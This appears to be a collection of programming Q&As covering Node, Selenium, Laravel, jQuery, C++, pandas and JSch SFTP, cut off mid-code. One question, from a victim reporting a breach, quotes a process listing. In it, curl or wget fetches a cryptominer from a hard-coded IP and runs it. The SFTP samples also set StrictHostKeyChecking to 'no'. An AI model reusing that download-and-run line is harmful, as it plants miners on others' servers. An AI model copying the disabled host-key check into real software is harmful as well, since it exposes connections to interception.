问:
NodeJS ways to increase server performance in case of large number of connections and bulk of data
I am in between building a web application for showing vehicles position in a map view, AngularJS as front end and Node.js as the server for real-time updating of the map. The events are coming from a middleware application to Node server, the server then has to apply some logic there to broadcast the data to the needed connected clients.

Coming to the question- the issue what I am currently facing is that, there comes around 20K vehicle data at a single time to the Node server, the Node server then has to decide to which connected clients should the data updated.This is achieving by looping each data against each connected client's map bounds.If the incoming data bounds are within the connected client's bounds that particular data will be emitted to that client. So this entire process will take more time if there have 1K clients and 20K data.

Are there any ways to reduce this server overload by using any node techniques?

What I have tried: I read through node clusters, but I think it deals with distributing connections across multiple workers. Is this a way for resolving my issue?

The sample code snippet is as follows:

Node server side logic

```<code>users // user array eg: array(userSocketId1,userSocketId2);

bounds //each user's bounds array eg:array({userSocketId1:boundsValue},{userSocketId2:boundsValue2});

app.post('/addObject',  (req, res) => {
 for (var k = 0; k < Object.keys(req.body).length; k++) {
  var point=[{'lat':req.body[k].lat,'lng':req.body[k].lng,'message':req.body[k].message,'id':req.body[k].id}];
  for (var i = 0; i < users.length; i++) {
    var userBounds  = bounds[users[i]];
    if(typeof userBounds!=='undefined'){
      var inbounds    = inBounds(point[0],userBounds); // check whether current vehicle's bounds within user's bounds
      var user        = users[i];
      if(inbounds){
      io.to(user).emit('updateMap', point); // send that vehicle data to one client say user
      }
    }
  }
}
res.send('Event received in Node Server');
});
</code>```

Client-side logic for plotting vehicle info to map

```<code> socket.on('updateMap', function(msg){
    L.marker([msg.lat, msg.lng]).addTo(map);
 });
</code>```

答:
For existing architecture you need to do following things -

Use Cluster.

Implement your logic with Promise.

Or you need to update your architecture, you would need to store user position with socket id and user id. and you need to get all the socket id those falling in your criteria.

Body:
I am in between building a web application for showing vehicles position in a map view, AngularJS as front end and Node.js as the server for real-time updating of the map. The events are coming from a middleware application to Node server, the server then has to apply some logic there to broadcast the data to the needed connected clients.

Coming to the question- the issue what I am currently facing is that, there comes around 20K vehicle data at a single time to the Node server, the Node server then has to decide to which connected clients should the data updated.This is achieving by looping each data against each connected client's map bounds.If the incoming data bounds are within the connected client's bounds that particular data will be emitted to that client. So this entire process will take more time if there have 1K clients and 20K data.

Are there any ways to reduce this server overload by using any node techniques?

What I have tried: I read through node clusters, but I think it deals with distributing connections across multiple workers. Is this a way for resolving my issue?

The sample code snippet is as follows:

Node server side logic

users // user array eg: array(userSocketId1,userSocketId2);

bounds //each user's bounds array eg:array({userSocketId1:boundsValue},{userSocketId2:boundsValue2});

app.post('/addObject',  (req, res) => {
 for (var k = 0; k < Object.keys(req.body).length; k++) {
  var point=[{'lat':req.body[k].lat,'lng':req.body[k].lng,'message':req.body[k].message,'id':req.body[k].id}];
  for (var i = 0; i < users.length; i++) {
    var userBounds  = bounds[users[i]];
    if(typeof userBounds!=='undefined'){
      var inbounds    = inBounds(point[0],userBounds); // check whether current vehicle's bounds within user's bounds
      var user        = users[i];
      if(inbounds){
      io.to(user).emit('updateMap', point); // send that vehicle data to one client say user
      }
    }
  }
}
res.send('Event received in Node Server');
});

Client-side logic for plotting vehicle info to map

 socket.on('updateMap', function(msg){
    L.marker([msg.lat, msg.lng]).addTo(map);
 });


来源: stackexchange

问:
Can any one give an idea about best way of implementing script in selenium web driver with testng and eclipse?
I have started writing selenium web driver script using with TestNg and Eclipse . Can any one suggest basic idea and better way of scripting ?

Currently i am working a big project which have so many modules. I have to automate some test case in all modules. So how will i start with ??

1, I have to create separate  class on writing script for each module ??

2, Since login script is common , how can i reuse its script on each module ??

Can any one share idea about creating classes and writing script and running it ??

答:
Let me try to address your Questions one by one:

I have to create separate class on writing script for each module : A lot depends on how you design your framework. Now your framework can be one of the following types:

a. Module Based Testing Framework

b. Library Architecture Testing Framework

c. Data Driven Testing Framework

d. Keyword Driven Testing Framework

e. Hybrid Testing Framework

f. Behavior Driven Development Framework

How to select a framework? A lot will depend on the functionalities your framework would perform. For example,

a. If your framework needs to test one by one component/module, Module Based Testing Framework should be your approach. PageFactory using POM is one of the best practice in-terms of performance & least maintenance.

b. If your framework needs to read real-time data from excel sheets, Data Driven Testing Framework should be your approach.

c. If you are reusing a number of methods repeatedly for Assertions, Library Architecture Testing Framework should be your approach.

d. If you want to leverage the benefits of all kinds of associated frameworks then Hybrid Testing Framework should be your approach.

Now depending on the design of the framework, you have to write scripts/class for each module/library.

Since login script is common , how can i reuse its script on each module ?? : The answer to this question is situation dependent .If you follow Data Driven Testing Framework to read the different credentials from an excel file recursively, it would be a nice idea to create a separate library for that.

Can any one share idea about creating classes and writing script and running it ?? : There is nothing exceptional in writing class or scripts. Choose a language of your choice among Java / Python / C# / Ruby and create your first script. There is a lot of documentation available within stackoverflow.com, github.com & other external sites.

Moving forward you may like to integrate TestNG to your framework which provides a lot of flexibility to work with viz Annotations and some superb Reporting Class.

Finally you can integrate the Maven framework to help you to gather all your required dependencies in quick time to execute your framework seamlessly.

Hope this answers all of your questions.

ContentLicense: CC BY-SA 3.0


问:
Getting 404 error when submitting a form
Routes:

```<code>Route::post('orders/edit-order-content/{$id}', 'Admin\OrderController@addProduct')->name('addProductToOrder');
Route::resource('/orders', 'Admin\OrderController');
</code>```

Controller:

```<code>public function addProduct($id){
  dd($id);
}
</code>```

View:

```<code>{!! Form::open(['route' =>['addProductToOrder',$order->id], 'id'=>'editOrderContent']) !!}
{!! Form::label('product_id','Product ID') !!}<br>
{!! Form::input('text','product_id') !!}<br>
{!! Form::label('qty','Quantity') !!}<br>
{!! Form::input('number','qty',1,['min'=>'1'])!!}<br>
{!! Form::submit('Add product',['class'=>'btn btn-info ','id'=>'addProduct']) !!}
{!! Form::close() !!}
</code>```

Why am I getting 404 page? I tried to do it with new controller, but also got 404 error...

答:
I think you are simply sending the form with get method instead of post.</p>

```<code>{!! Form::open(['method'=>'post', 'route' =>['addProductToOrder',$order->id], 'id'=>'editOrderContent']) !!}
</code>```

Body:
Routes:

Route::post('orders/edit-order-content/{$id}', 'Admin\OrderController@addProduct')->name('addProductToOrder');
Route::resource('/orders', 'Admin\OrderController');

Controller:

public function addProduct($id){
  dd($id);
}

View:

{!! Form::open(['route' =>['addProductToOrder',$order->id], 'id'=>'editOrderContent']) !!}
{!! Form::label('product_id','Product ID') !!}

{!! Form::input('text','product_id') !!}

{!! Form::label('qty','Quantity') !!}

{!! Form::input('number','qty',1,['min'=>'1'])!!}

{!! Form::submit('Add product',['class'=>'btn btn-info ','id'=>'addProduct']) !!}
{!! Form::close() !!}

Why am I getting 404 page? I tried to do it with new controller, but also got 404 error...

Body:
I think you are simply sending the form with get method instead of post.

{!! Form::open(['method'=>'post', 'route' =>['addProductToOrder',$order->id], 'id'=>'editOrderContent']) !!}


问:
JBoss AS 7.1.0 Final possible security issue
During the last days I have found on my server a suspicious running processes on my server.

```<code>jboss    23276  0.0  0.0 113108   644 ?        S    04:25   0:00 /bin/bash -c cd /tmp; rm yam; pkill -9 yam; pkill -9 minergate-cli;curl -ks http://107.155.106.174/t/5tf-1478613950.txt > yam || (wget https://107.155.106.174/t/5tf-1478613950.txt --no-check-certifica
jboss    23277  374  0.1 424456 35600 ?        Sl   04:25 2880:22 ./yam --mining-params xmr:av=0&donation-interval=50 -c x -M stratum+tcp://dxzgadfgsdfgsdfgsdfgsdfgwerjukQdysdddRFch2CGykmqWUJPJW2hf23AaJWXmEPe96xYyYVDGn7qN:x@xmr-usa.dwarfpool.com:9050/
</code>```

I have search on internet and seems to be that someone is using my server as a computing node to bitcoin mining. So someone managed to upload and run this on my server. As far as I know doesn't have access to the password and only is able to do this on the Linux user jboss and my jboss application is running also under this user.

As a quick solution I have create a file with the same names on the tmp folder as root so it will no have access to overwrite it. And also I'm running a script to check every minute if a process who contain some of those process parameter is running.

I want to find the source of this issue. The jboss management console is deactivated.

BTW: my server run a Centos 7 and java version "1.7.0_79".

答:
Propably you have same issue like we had on our server.

It's about vulnereability in Apache Struts, look on this https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 and this https://cwiki.apache.org/confluence/display/WW/S2-045

In our case someone was mining and trying get some information about operating system (SSH version, Os family, users,...). Fortunatelly we are running application under dedicated account and without any public accessed ports (attack misuse proxied app). But you should check some logs and looking some "multipart/form-data" (in our case)

```<code>grep -r -ni 'multipart/form-data'
</code>```

Body:
During the last days I have found on my server a suspicious running processes on my server.

jboss    23276  0.0  0.0 113108   644 ?        S    04:25   0:00 /bin/bash -c cd /tmp; rm yam; pkill -9 yam; pkill -9 minergate-cli;curl -ks http://107.155.106.174/t/5tf-1478613950.txt > yam || (wget https://107.155.106.174/t/5tf-1478613950.txt --no-check-certifica
jboss    23277  374  0.1 424456 35600 ?        Sl   04:25 2880:22 ./yam --mining-params xmr:av=0&donation-interval=50 -c x -M stratum+tcp://dxzgadfgsdfgsdfgsdfgsdfgwerjukQdysdddRFch2CGykmqWUJPJW2hf23AaJWXmEPe96xYyYVDGn7qN:x@xmr-usa.dwarfpool.com:9050/

I have search on internet and seems to be that someone is using my server as a computing node to bitcoin mining. So someone managed to upload and run this on my server. As far as I know doesn't have access to the password and only is able to do this on the Linux user jboss and my jboss application is running also under this user.

As a quick solution I have create a file with the same names on the tmp folder as root so it will no have access to overwrite it. And also I'm running a script to check every minute if a process who contain some of those process parameter is running.

I want to find the source of this issue. The jboss management console is deactivated.

BTW: my server run a Centos 7 and java version "1.7.0_79".

Body:
Propably you have same issue like we had on our server.

It's about vulnereability in Apache Struts, look on this https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638 and this https://cwiki.apache.org/confluence/display/WW/S2-045

In our case someone was mining and trying get some information about operating system (SSH version, Os family, users,...). Fortunatelly we are running application under dedicated account and without any public accessed ports (attack misuse proxied app). But you should check some logs and looking some "multipart/form-data" (in our case)

grep -r -ni 'multipart/form-data'


问:
Jquery || Limiting and smoothing movable div on mouse move
I'm trying to recreate the hover/mouse move effect the statue's in the background have on: http://toyfight.co/

What I've currently got is

```<code>  $('.phone-container').on('mousemove',function(e){
        var x = e.pageX - this.offsetLeft;
        var y = e.pageY - this.offsetLeft;
          $('.phone-front').css({'right': x});
          $('.phone-front').css({'bottom': y});

  });
</code>```

Which makes the phone move, but I don't know how to limit it and create the same smooth effect.

http://codepen.io/salman15/pen/evQVLV

Can one of you guys explain to me how it's best done?

答:
I found my answer on another post:
Mousemove parallax effect moves position of div</p>

```<code>$(document).ready(function () {
    $('#layer-one').mousemove(function (e) {
        parallax(e, this, 1);
        parallax(e, document.getElementById('layer-two'), 2);
        parallax(e, document.getElementById('layer-three'), 3);
    });
});

function parallax(e, target, layer) {
    var layer_coeff = 10 / layer;
    var x = ($(window).width() - target.offsetWidth) / 2 - (e.pageX - ($(window).width() / 2)) / layer_coeff;
    var y = ($(window).height() - target.offsetHeight) / 2 - (e.pageY - ($(window).height() / 2)) / layer_coeff;
    $(target).offset({ top: y ,left : x });
};
</code>```

Body:
I'm trying to recreate the hover/mouse move effect the statue's in the background have on: http://toyfight.co/

What I've currently got is

  $('.phone-container').on('mousemove',function(e){
        var x = e.pageX - this.offsetLeft;
        var y = e.pageY - this.offsetLeft;
          $('.phone-front').css({'right': x});
          $('.phone-front').css({'bottom': y});

  });

Which makes the phone move, but I don't know how to limit it and create the same smooth effect.

http://codepen.io/salman15/pen/evQVLV

Can one of you guys explain to me how it's best done?

Body:
I found my answer on another post:
Mousemove parallax effect moves position of div

$(document).ready(function () {
    $('#layer-one').mousemove(function (e) {
        parallax(e, this, 1);
        parallax(e, document.getElementById('layer-two'), 2);
        parallax(e, document.getElementById('layer-three'), 3);
    });
});

function parallax(e, target, layer) {
    var layer_coeff = 10 / layer;
    var x = ($(window).width() - target.offsetWidth) / 2 - (e.pageX - ($(window).width() / 2)) / layer_coeff;
    var y = ($(window).height() - target.offsetHeight) / 2 - (e.pageY - ($(window).height() / 2)) / layer_coeff;
    $(target).offset({ top: y ,left : x });
};


问:
Tagged unions (aka variant) in C++ with the same type multiple times
I need to create an union, but 2 members of the union would have the same type, thus I need a way to identify them. For example in OCaml :

```<code>type A =
  | B of int
  | C of float
  | D of float
</code>```

Boost.Variant doesn't seem to support this case, is there a known library which supports that ?

答:
You cannot at the moment but C++17's implementation of std::variant fortunately allows it:

A variant is permitted to hold the same type more than once, and to hold differently cv-qualified versions of the same type.

Unlike with the boost version, you can get values by index, something like this (not tested):

```<code>// Construct a variant with the second value set.
variant<string, string, string> s(std::in_place_index<1>, "Hello");
// Get the second value.
string first = std::get<1>(s);
</code>```

Michael Park has written a C++14 implementation of C++17's std::variant.

Body:
I need to create an union, but 2 members of the union would have the same type, thus I need a way to identify them. For example in OCaml :

type A =
  | B of int
  | C of float
  | D of float

Boost.Variant doesn't seem to support this case, is there a known library which supports that ?

Body:
You cannot at the moment but C++17's implementation of std::variant fortunately allows it:

A variant is permitted to hold the same type more than once, and to hold differently cv-qualified versions of the same type.

Unlike with the boost version, you can get values by index, something like this (not tested):

// Construct a variant with the second value set.
variant<string, string, string> s(std::in_place_index<1>, "Hello");
// Get the second value.
string first = std::get<1>(s);

Michael Park has written a C++14 implementation of C++17's std::variant.


问:
Python 3: Find an element in a list inside a dictionary
```<code>houses={'apartment':15, 'penthouse':35, 'others':[20,5,70]}
</code>```

what I need is to check and then find 20 for example.

been trying for hours.

would be great if you could provide and explanation and multiple solutions.

thanks in advance.

答:
This will look over all the entries in houses, and look for search in the values. For each value, if it's not a collection, it will compare directly.

```<code>def is_in_house(search, house):
    for v in houses.values():
        try:
            if search in v:
                return True
        except TypeError:
            if v == search:
                return True
    return False
</code>```

Body:
houses={'apartment':15, 'penthouse':35, 'others':[20,5,70]}

what I need is to check and then find 20 for example.

been trying for hours.

would be great if you could provide and explanation and multiple solutions.

thanks in advance.

Body:
This will look over all the entries in houses, and look for search in the values. For each value, if it's not a collection, it will compare directly.

def is_in_house(search, house):
    for v in houses.values():
        try:
            if search in v:
                return True
        except TypeError:
            if v == search:
                return True
    return False


问:
pandas.read_csv(): Can't convert 'int' object to str implicitly
When importing my .txt file, I am getting the following error:

```<code>Can't convert 'int' object to str implicitly
</code>```

I import my .txt file as follows:

```<code>activityHeaders = ['Type', 'AccountID', 'ConID', 'SecurityID', 'Symbol', 'BBTicker', 'Currency', 'BaseCurrency', 'TradeDate', 'SettleDate', 'TransactionType', 'Quantity', 'UnitPrice', 'GrossAmount', 'SECFee', 'Commission', 'NetInBase', 'FXRatetoBase', 'Other1', 'Other2', 'Description']

dfActivity = pd.read_csv(activityFileUrl, skiprows=[1], header=activityHeaders, error_bad_lines=False)
</code>```

and my .txt file looks as follows:

```<code>"H","I000000","Activity","20100407","16:02:38","20100329","1.0"
"D","I000000","","","","","CAD","EUR","20100329","20100329","WITH","0","0","-14.88","0","0","0","-14.88","-10.8158","",,"CASH TRANSFER (INTERNAL)"
"D","I000000","","","","","AUD","EUR","20100328","20100328","ADJ","0","0","4","0","0","0","4","2.7211","",,"CLIENT FEE (U000001, Commission)"
"D","U000001","37036548","DE000A0F6MD5","PRA","STK","EUR","EUR","20100329","20100331","SELL","-300","7.776","-2332.8","0","-6","0","2326.8","2326.8","405346125","FI","TRADE PRAKTIKER BAU-UND HEIMWERK A"
</code>```

I don't understand where the int could come from. Note that I skip the first and last row using the skiprows and error_bad_lines. I put header also to None and it returned the same error.

答:
Drop the headers parameter altogether. headers is used as an integer list to tell pandas which row(s) to use as your header.

Change to skiprows=[0] and you should be good.

Body:
When importing my .txt file, I am getting the following error:

Can't convert 'int' object to str implicitly

I import my .txt file as follows:

activityHeaders = ['Type', 'AccountID', 'ConID', 'SecurityID', 'Symbol', 'BBTicker', 'Currency', 'BaseCurrency', 'TradeDate', 'SettleDate', 'TransactionType', 'Quantity', 'UnitPrice', 'GrossAmount', 'SECFee', 'Commission', 'NetInBase', 'FXRatetoBase', 'Other1', 'Other2', 'Description']

dfActivity = pd.read_csv(activityFileUrl, skiprows=[1], header=activityHeaders, error_bad_lines=False)

and my .txt file looks as follows:

"H","I000000","Activity","20100407","16:02:38","20100329","1.0"
"D","I000000","","","","","CAD","EUR","20100329","20100329","WITH","0","0","-14.88","0","0","0","-14.88","-10.8158","",,"CASH TRANSFER (INTERNAL)"
"D","I000000","","","","","AUD","EUR","20100328","20100328","ADJ","0","0","4","0","0","0","4","2.7211","",,"CLIENT FEE (U000001, Commission)"
"D","U000001","37036548","DE000A0F6MD5","PRA","STK","EUR","EUR","20100329","20100331","SELL","-300","7.776","-2332.8","0","-6","0","2326.8","2326.8","405346125","FI","TRADE PRAKTIKER BAU-UND HEIMWERK A"

I don't understand where the int could come from. Note that I skip the first and last row using the skiprows and error_bad_lines. I put header also to None and it returned the same error.


问:
Downloading files from an SFTP server using JSch
I am using jsch to download files from server, my code below.

```<code>public static void downloadFile(TpcCredentialsDTO dto) {
        logger.trace("Entering downloadFile() method");

    Session session = null;
    Channel channel = null;
    ChannelSftp channelSftp = null;
    boolean success = false;

    try {
        JSch jsch = new JSch();
        session = jsch.getSession(dto.getUsername(), dto.getHost(),
                dto.getPort());
        session.setPassword(dto.getPassword());

        session.setConfig("StrictHostKeyChecking", "no");
        session.connect();
        logger.info("Connected to " + dto.getHost() + ".");

        channel = session.openChannel("sftp");
        channel.connect();
        channelSftp = (ChannelSftp) channel;

        List<String> filesToDownload = getFilesToDownload(dto,channelSftp);

        if (!filesToDownload.isEmpty()) {
            for (String fileDownloadName : filesToDownload) {
                success = false;
                OutputStream output = new FileOutputStream(
                    "C:\Download\BLT_03112012");

                channelSftp.get("BLT_03112012",output);
                success = true;
                if (success)
                    logger.info(ServerConstants.DOWNLOAD_SUCCESS_MSG
                                    + fileDownloadName);
                output.close();
            }

        }else {
            logger.info(ServerConstants.NO_FILES_TO_DOWNLOAD
                    + ServerUtils.getDateTime());
            success = true;
        }

    } catch (JSchException ex) {
        logger.error( ServerConstants.SFTP_REFUSED_CONNECTION, ex);
    } catch (SftpException ex) {
        logger.error(ServerConstants.FILE_DOWNLOAD_FAILED, ex);
    } catch (IOException ex) {
        logger.error(ServerConstants.FILE_NOT_FOUND, ex);
    }catch (Exception ex) {
        logger.error(ServerConstants.ERROR, ex);
    }finally {
        if (channelSftp.isConnected()) {
            try {
                session.disconnect();
                channel.disconnect();
                channelSftp.quit();
                logger.info( ServerConstants.FTP_DISCONNECT);
            } catch (Exception ioe) {
                logger.error(ServerConstants.FTP_NOT_DISCONNECT, ioe);
            }
        }
    }
    logger.trace("Exiting downloadFile() method");
}
</code>```

The line sftpChannel.get(filename, outputstream) is throwing an error.

```<code>  2: File not found
      at com.jcraft.jsch.ChannelSftp.throwStatusError(ChannelSftp.java:2629)
      at com.jcraft.jsch.ChannelSftp._get(ChannelSftp.java:977)
      at com.jcraft.jsch.ChannelSftp.get(ChannelSftp.java:946)
      at com.jcraft.jsch.ChannelSftp.get(ChannelSftp.java:924)
      at za.co.tpc.sftpserver.SftpConnection.downloadFile(SftpConnection.java:72)
      at za.co.tpc.server.execute.FtpMtn.main(FtpMtn.java:44)
</code>```

The same code does download Text Document file types but fails for 'File' filetype

答:
Please find in the below code sample comprising the file upload and download functionalities. Please pull the relevant details from properties files where ever string marked in lt;sftp.user.namegt;. I am deleting the file once the file is downloaded you can have it as per your requirement.

The event and locale parameters what I have added as part of download functionality is to filter the file(s); you can pass parameters as par you need.

Have placed a check to set proxy which can be used on need basis.

```<code>package com.util;

import com.jcraft.jsch.Channel;
import com.jcraft.jsch.ChannelSftp;
import com.jcraft.jsch.JSch;
import com.jcraft.jsch.ProxyHTTP;
import com.jcraft.jsch.Session;
import com.jcraft.jsch.SftpException;
import java.io.File;
import java.io.FileInputStream;
import java.util.Date;
import java.util.Properties;
import java.util.Vector;

/**
 *
 * @author Dinesh.Lomte
 */
public class SftpUtil {

    /**
     *
     * @param fileName
     * @throws Exception
     */
    public static void upload(String fileName)
    throws Exception {

        String method = "upload(String fileName)";
        Session session = null;
        Channel channel = null;
        ChannelSftp channelSftp = null;
        try {
            // Creating and instantiating the jsch specific instance
            JSch jsch = new JSch();
            // Fetching and setting the parameters like: user name, host and port
            // from the properties file
            session = jsch.getSession("<sftp.user.name>",
                    "<sftp.host>",
                    Integer.valueOf("<sftp.port>"));
            // Fetching and setting the password as configured in properties files
            session.setPassword("<sftp.user.password>");
            // Setting the configuration specific properties
            Properties config = new Properties();
            config.put("StrictHostKeyChecking", "no");
            session.setConfig(config);
            // Validating if proxy is enabled to access the sftp
            isSftpProxyEnabled(session);
            // Execution start time
            long lStartTime = new Date().getTime();
            System.out.println("Connecting to the sftp...");
            // Connecting to the sftp
            session.connect();
            System.out.println("Connected to the sftp.");
            // Execution end time
            long lEndTime = new Date().getTime();
            System.out.println("---------------------------------------------");
            System.out.println("Connected to SFTP in : " + (lEndTime - lStartTime));
            // Setting the channel type as sftp
            channel = session.openChannel("sftp");
            // Establishing the connection
            channel.connect();
            channelSftp = (ChannelSftp) channel;
            // Setting the folder location of the external system as configured
            channelSftp.cd("<sftp.output.folder.url>");
            // Creating the file instance
            File file = new File(fileName);
            // Creating an fileInputStream instance
            FileInputStream fileInputStream = new FileInputStream(file);
            // Transfering the file from it source to destination location via sftp
            channelSftp.put(fileInputStream, file.getName());
            // Closing the fileInputStream instance
            fileInputStream.close();
            // De-allocating the fileInputStream instance memory by assigning null
            fileInputStream = null;
        } catch (Exception exception) {
            throw exception;
        } finally {
            // Validating if channel sftp is not null to exit
            if (channelSftp != null) {
                channelSftp.exit();
            }
            // Validating if channel is not null to disconnect
            if (channel != null) {
                channel.disconnect();
            }
            // Validating if session instance is not null to disconnect
            if (session != null) {
                session.disconnect();
            }
        }
    }

    /**
     *
     * @param session
     */
    private static void isSftpProxyEnabled(Session session) {
        // Fetching the sftp proxy flag set as part of the properties file
        boolean isSftpProxyEnabled = Boolean.valueOf("<sftp.proxy.enable>");
        // Validating if proxy is enabled to access the sftp
        if (isSftpProxyEnabled) {
            // Setting host and port of the proxy to access the SFTP
            session.setProxy(new ProxyHTTP("<sftp.proxy.host>",
                    Integer.valueOf("<sftp.proxy.port>");
        }
        System.out.println("Proxy status: " + isSftpProxyEnabled);
    }

    /**
     *
     * @param folder
     * @param event
     * @param locale
     */
    public static void download(String folder, String event, String locale) {

        String method = "download(String folder, String event, String locale)";
        Session session = null;
        Channel channel = null;
        ChannelSftp channelSftp = null;
        try {
            // Creating and instantiating the jsch specific instance
            JSch jsch = new JSch();
            // Fetching and setting the parameters like: user name, host and port
            // from the properties file
            session = jsch.getSession("<sftp.user.name>",
                    "<sftp.host>",
                    Integer.valueOf("<sftp.port>"));
            // Fetching and setting the password as configured in properties files
            session.setPassword("<sftp.user.password>");
            // Setting the configuration specific properties
            Properties config = new Properties();
            config.put("StrictHostKeyChecking", "no");
            session.setConfig(config);
            // Validating if proxy is enabled to access the sftp
            isSftpProxyEnabled(session);
            // Execution start time
            long lStartTime = new Date().getTime();
            System.out.println("Connecting to the sftp...");
            // Connecting to the sftp
            session.connect();
            System.out.println("Connected to the sftp.");
            // Execution end time
            long lEndTime = new Date().getTime();
            System.out.println("---------------------------------------------");
            System.out.println("Connected to SFTP in : " + (lEndTime - lStartTime));
            // Setting the channel type as sftp
            channel = session.openChannel(SFTP);
            // Establishing the connection
            channel.connect();
            channelSftp = (ChannelSftp) channel;
            try {
                // Setting the folder location of the external system as configured
                // to download the file from
                channelSftp.cd("<sftp.input.folder.url>");
            } catch (SftpException sftpException) {
                System.out.println("Failed to change the directory in sftp.");
            }
            // Listing all the .csv file(s) specific to the source system, event type (download) and locale code
            Vector<ChannelSftp.LsEntry> lsEntries = channelSftp.ls(
                    new StringBuilder("*").append("<sys.code>").append("*").append(event)
                    .append("*").append(locale).append("*").append(".csv").toString());
            // Validating if files exist to process the request further
            if (lsEntries.isEmpty()) {
                System.out.println("No file exist in the specified sftp folder location.");
            }
            // Iterating the list of entries to download the file(s) from the sftp
            for (ChannelSftp.LsEntry entry : lsEntries) {
                try {
                    // Downloading the specified file from the sftp to the specified folder path
                    channelSftp.get(entry.getFilename(), new StringBuilder(folder)
                            .append(File.separator).append(entry.getFilename()).toString());
                } catch (SftpException sftpException) {
                    System.out.println("Failed to download the file the sftp folder location.");
                }
            }
            // Iterating the list of entries to delete the file(s) from the sftp
            for (ChannelSftp.LsEntry entry : lsEntries) {
                try {
                    // Deleting the specified file from the sftp
                    channelSftp.rm(entry.getFilename());
                } catch (SftpException sftpException) {
                    System.out.println("Failed to delete the file from the sftp folder location.");
                }
            }
        } catch (Exception exception) {
            System.out.println("Failed to download the file(s) from SFTP.");
        } finally {
            // Validating if channel sftp is not null to exit
            if (channelSftp != null) {
                channelSftp.exit();
            }
            // Validating if channel is not null to disconnect
            if (channel != null) {
                channel.disconnect();
            }
            // Validating if session instance is not null to disconnect
            if (session != null) {
                session.disconnect();
            }
        }
    }
}
</code>```

ContentLicense: CC BY-SA 4.0

Body:
I am using jsch to download files from server, my code below.

public static void downloadFile(TpcCredentialsDTO dto) {
        logger.trace("Entering downloadFile() method");

    Session session = null;
    Channel channel = null;
    ChannelSftp channelSftp = null;
    boolean success = false;

    try {
        JSch jsch = new JSch();
        session = jsch.getSession(dto.getUsername(), dto.getHost(),
                dto.getPort());
        session.setPassword(dto.getPassword());

        session.setConfig("StrictHostKeyChecking", "no");
        session.connect();
        logger.info("Connected to " + dto.getHost() + ".");

        channel = session.openChannel("sftp");
        channel.connect();
        channelSftp = (ChannelSftp) channel;

        List<String> filesToDownload = getFilesToDownload(dto,channelSftp);

        if (!filesToDownload.isEmpty()) {
            for (String fileDownloadName : filesToDownload) {
                success = false;
                OutputStream output = new FileOutputStream(
                    "C:\Download\BLT_03112012");

                channelSftp.get("BLT_03112012",output);
                success = true;
                if (success)
                    logger.info(ServerConstants.DOWNLOAD_SUCCESS_MSG
                                    + fileDownloadName);
                output.close();
            }

        }else {
            logger.info(ServerConstants.NO_FILES_TO_DOWNLOAD
                    + ServerUtils.getDateTime());
            success = true;
        }

    } catch (JSchException ex) {
        logger.error( ServerConstants.SFTP_REFUSED_CONNECTION, ex);
    } catch (SftpException ex) {
        logger.error(ServerConstants.FILE_DOWNLOAD_FAILED, ex);
    } catch (IOException ex) {
        logger.error(ServerConstants.FILE_NOT_FOUND, ex);
    }catch (Exception ex) {
        logger.error(ServerConstants.ERROR, ex);
    }finally {
        if (channelSftp.isConnected()) {
            try {
                session.disconnect();
                channel.disconnect();
                channelSftp.quit();
                logger.info( ServerConstants.FTP_DISCONNECT);
            } catch (Exception ioe) {
                logger.error(ServerConstants.FTP_NOT_DISCONNECT, ioe);
            }
        }
    }
    logger.trace("Exiting downloadFile() method");
}

The line sftpChannel.get(filename, outputstream) is throwing an error.

  2: File not found
      at com.jcraft.jsch.ChannelSftp.throwStatusError(ChannelSftp.java:2629)
      at com.jcraft.jsch.ChannelSftp._get(ChannelSftp.java:977)
      at com.jcraft.jsch.ChannelSftp.get(ChannelSftp.java:946)
      at com.jcraft.jsch.ChannelSftp.get(ChannelSftp.java:924)
      at za.co.tpc.sftpserver.SftpConnection.downloadFile(SftpConnection.java:72)
      at za.co.tpc.server.execute.FtpMtn.main(FtpMtn.java:44)

The same code does download Text Document file types but fails for 'File' filetype

Body:
Please find in the below code sample comprising the file upload and download functionalities. Please pull the relevant details from properties files where ever string marked in lt;sftp.user.namegt;. I am deleting the file once the file is downloaded you can have it as per your requirement.

The event and locale parameters what I have added as part of download functionality is to filter the file(s); you can pass parameters as par you need.

Have placed a check to set proxy which can be used on need basis.

package com.util;

import com.jcraft.jsch.Channel;
import com.jcraft.jsch.ChannelSftp;
import com.jcraft.jsch.JSch;
import com.jcraft.jsch.ProxyHTTP;
import com.jcraft.jsch.Session;
import com.jcraft.jsch.SftpException;
import java.io.File;
import java.io.FileInputStream;
import java.util.Date;
import java.util.Properties;
import java.util.Vector;

/**
 *
 * @author Dinesh.Lomte
 */
public class SftpUtil {

    /**
     *
     * @param fileName
     * @throws Exception
     */
    public static void upload(String fileName)
    throws Exception {

        String method = "upload(String fileName)";
        Session session = null;
        Channel channel = null;
        ChannelSftp channelSftp = null;
        try {
            // Creating and instantiating the jsch specific instance
            JSch jsch = new JSch();
            // Fetching and setting the parameters like: user name, host and port
            // from the properties file
            session = jsch.getSession("<sftp.user.name>",
                    "<sftp.host>",
                    Integer.valueOf("<sftp.port>"));
            // Fetching and setting the password as configured in properties files
            session.setPassword("<sftp.user.password>");
            // Setting the configuration specific properties
            Properties config = new Properties();
            config.put("StrictHostKeyChecking", "no");
            session.setConfig(config);
            // Validating if proxy is enabled to access the sftp
            isSftpProxyEnabled(session);
            // Execution start time
            long lStartTime = new Date().getTime();
            System.out.println("Connecting to the sftp...");
            // Connecting to the sftp
            session.connect();
            System.out.println("Connected to the sftp.");
            // Execution end time
            long lEndTime = new Date().getTime();
            System.out.println("---------------------------------------------");
            System.out.println("Connected to SFTP in : " + (lEndTime - lStartTime));
            // Setting the channel type as sftp
            channel = session.openChannel("sftp");
            // Establishing the connection
            channel.connect();
            channelSftp = (ChannelSftp) channel;
            // Setting the folder location of the external system as configured
            channelSftp.cd("<sftp.output.folder.url>");
            // Creating the file instance
            File file = new File(fileName);
            // Creating an fileInputStream instance
            FileInputStream fileInputStream = new FileInputStream(file);
            // Transfering the file from it source to destination location via sftp
            channelSftp.put(fileInputStream, file.getName());
            // Closing the fileInputStream instance
            fileInputStream.close();
            // De-allocating the fileInputStream instance memory by assigning null
            fileInputStream = null;
        } catch (Exception exception) {
            throw exception;
        } finally {
            // Validating if channel sftp is not null to exit
            if (channelSftp != null) {
                channelSftp.exit();
            }
            // Validating if channel is not null to disconnect
            if (channel != null) {
                channel.disconnect();
            }
            // Validating if session instance is not null to disconnect
            if (session != null) {
                session.disconnect();
            }
        }
    }

    /**
     *
     * @param session
     */
